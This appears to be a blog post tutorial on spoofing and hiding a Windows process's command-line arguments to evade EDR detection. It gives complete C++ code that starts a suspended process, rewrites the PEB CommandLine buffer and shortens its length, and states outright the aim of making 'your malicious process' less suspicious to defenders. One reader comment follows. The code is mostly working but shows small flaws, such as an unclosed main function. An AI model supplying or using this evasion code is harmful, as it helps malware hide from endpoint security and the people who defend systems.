Hiding Process Cmdline Argument

Hi Developer,

Another trick that I want to share with you on making your malicious process is less suspicious. Many EDRs use the cmdline parameter as one of its checklist to decide wether a process is malicious or not. We can see the following picture that the EDR catch the process of powershell as malicious due its parameter

To minimize the detection from EDR, We can hide the process parameter through our code. To manipulate the process cmdline parameter, we need to spawn a thread and suspend it for process information modification

Retrieve Process Information

The code below is to retrieve the process information from the newly created thread. The thread is spawn with this parameter notepad.exe c:\windows\system32\kernel32.dll is just to make buffer space, if your actual parameter requires long parameter then you need to put more char in this field

#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
	IN HANDLE,
	IN PROCESSINFOCLASS,
	OUT PVOID,
	IN ULONG,
	OUT PULONG
	);

PROCESS_INFORMATION pi = { 0 };
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;

// Start process suspended
	success = CreateProcessA(
		NULL,
		(LPSTR)"notepad.exe c:\\windows\\system32\\kernel32.dll",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
		NULL,
		"C:\\Windows\\System32\\",
		&si,
		&pi);


NtQueryInformationProcess_t NtQueryInformationProcess_p = (NtQueryInformationProcess_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
NtQueryInformationProcess_p(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);

Read The Process Parameter

Process Block Evironment data structure. What we would like to access and overwrite is the PRTL_USER_PROCESS_PARAMETERS field. You can find the detail https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

The Process Environment Block (PEB) is a process’s user-mode representation. It has the highest-level knowledge of a process in kernel mode and the lowest-level in user mode. The PEB is created by the kernel but is mostly operated on from user mode.

PEB pebLocal;
ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters, ¶meters, sizeof(parameters), &bytesRead);

Overwrite Cmdline Parameter

We overwrite the old thread parameter “notepad.exe c:\windows\system32\kernel32.dll” with the new parameter “notepad.exe c:\Temp\rio.txt\0

// Set the actual arguments we are looking to use
WCHAR spoofedArgs[] = L"notepad.exe c:\\Temp\\rio.txt\0";
WriteProcessMemory(pi.hProcess, parameters.CommandLine.Buffer, (void*)spoofedArgs, sizeof(spoofedArgs), &bytesWritten);

Hiding the Cmdline Parameter

Here is the important step is to remove the parameter to make the EDR blind to what parameter is actually passed to the process. DWORD newUnicodeLen = 22; We shorten the lenght of the parameter so that it will leave only the process name which is notepad.exe. The value 22 comes from 2 x Length of the process name, notepad.exe length is 11 then we need to put 22.

DWORD newUnicodeLen = 22;

WriteProcessMemory(pi.hProcess,
		(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen,
		4,
		&bytesWritten
	);

The Command line with the new lenght given just up to 22 to hide the rest of the command line

When we did not resize the lenght of the cmdline, The old parameter was not fully overwritten. This information could trigger EDR detection

Resuming the Thread

After the process information were overwritten then the next step is to resume the thread to work with the new parameter

ResumeThread(pi.hThread);

Hiding the CmdLine parameter would be a good way to evade your malicious process and hiding from the defender eyes.

Full Code

The full code was originally written by Adam Chester

#include <iostream>
#include <Windows.h>
#include <winternl.h>

typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
	IN HANDLE,
	IN PROCESSINFOCLASS,
	OUT PVOID,
	IN ULONG,
	OUT PULONG
	);

//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int main(int argc, char** argv) {
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT context;
	BOOL success;
	PROCESS_BASIC_INFORMATION pbi;
	DWORD retLen;
	SIZE_T bytesRead;
	SIZE_T bytesWritten;
	PEB pebLocal;
	RTL_USER_PROCESS_PARAMETERS parameters = { sizeof(parameters) };

	// Start process suspended
	success = CreateProcessA(
		NULL,
		(LPSTR)"notepad.exe c:\\windows\\system32\\kernel32.dll",
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
		NULL,
		"C:\\Windows\\System32\\",
		&si,
		&pi);

	if (success == FALSE) {
		printf("Could not call CreateProcess\n");
		return 1;
	}

	// Retrieve information on PEB location in process
	NtQueryInformationProcess_t NtQueryInformationProcess_p = (NtQueryInformationProcess_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
	NtQueryInformationProcess_p(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);

	// Read the PEB from the target process
	success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
	if (success == FALSE) {
		printf("Could not call ReadProcessMemory to grab PEB\n");
		return 1;
	}

	// Grab the ProcessParameters from PEB
	ReadProcessMemory(pi.hProcess, pebLocal.ProcessParameters, &parameters, sizeof(parameters), &bytesRead);

	// Set the actual arguments we are looking to use
	WCHAR spoofedArgs[] = L"notepad.exe c:\\Temp\\rio.txt\0";
	success = WriteProcessMemory(pi.hProcess, parameters.CommandLine.Buffer, (void*)spoofedArgs, sizeof(spoofedArgs), &bytesWritten);
	if (success == FALSE) {
		printf("Could not call WriteProcessMemory to update commandline args\n");
		return 1;
	}

	// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer and Task Manager
	
	// Update the CommandLine length (Remember, UNICODE length here)
	DWORD newUnicodeLen = 22;

	success = WriteProcessMemory(pi.hProcess,
		(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
		(void*)&newUnicodeLen,
		4,
		&bytesWritten
	);
	if (success == FALSE) {
		printf("Could not call WriteProcessMemory to update commandline arg length\n");
		return 1;
	}
	
	printf("Hitme!\n");	getchar();

	// Resume thread execution*/
	ResumeThread(pi.hThread);

2 comments

  1. A bit confusing here in terms of why you did “Overwrite Cmdline Parameter” section if all you need to do is shorten the length with the DWORD newUnicodeLen = 22. However I will lbe about to testing this so maybe I will understand by typing the code. Thanks

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s